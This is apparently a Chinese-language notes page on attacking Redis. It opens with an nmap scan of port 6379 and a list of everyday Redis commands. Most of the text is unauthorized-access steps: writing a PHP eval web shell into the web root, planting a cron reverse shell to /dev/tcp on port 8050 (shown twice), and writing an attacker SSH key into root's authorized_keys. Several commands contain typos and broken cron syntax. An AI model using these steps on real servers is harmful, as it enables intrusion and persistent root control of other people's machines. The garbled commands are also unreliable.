[root@yang ~]# nmap -v -Pn -p 6379 -sV 192.168.1.21
Starting Nmap 7.70 ( https://nmap.org ) at 2025-07-10 13:57 CST
NSE: Loaded 43 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 13:57
Completed Parallel DNS resolution of 1 host. at 13:57, 0.00s elapsed
Initiating SYN Stealth Scan at 13:57
Scanning yang (192.168.1.21) [1 port]
Completed SYN Stealth Scan at 13:57, 2.06s elapsed (1 total ports)
Initiating Service scan at 13:57
NSE: Script scanning 192.168.1.21.
Initiating NSE at 13:57
Completed NSE at 13:57, 0.00s elapsed
Initiating NSE at 13:57
Completed NSE at 13:57, 0.00s elapsed
Nmap scan report for yang (192.168.1.21)
Host is up.
PORT STATE SERVICE VERSION
6379/tcp filtered redis
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds
Raw packets sent: 2 (88B) | Rcvd: 0 (0B)
# Redis常用命令
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
config set dir /var/www/html
config set dbfilname shell.php
set x "<?php @eval($_POST['test']);?>"
save
未授权访问 (反弹shell)
bash复制代码
redis-cli -h xx.xxx.xxx.xxx
set xxx "\n\n*/* **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8050 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
未授权访问 (写公钥)
bash复制代码
ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的.ssh目录下
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h xx.xx.x.xx -p 6379 -x set crackit
redis-cli -h xx.xx.xx.xx -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized _keys"
save
ssh root@xx.xx.xx.xx -i ~/.ssh/id rsa
未授权访问 (反弹shell)
bash复制代码
redis-cli -h xx.xx.xx.xx
set x "\n\n*/***** /bin/bash -i>&/dev/tcp/xx.xx.xx.xx/8050 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save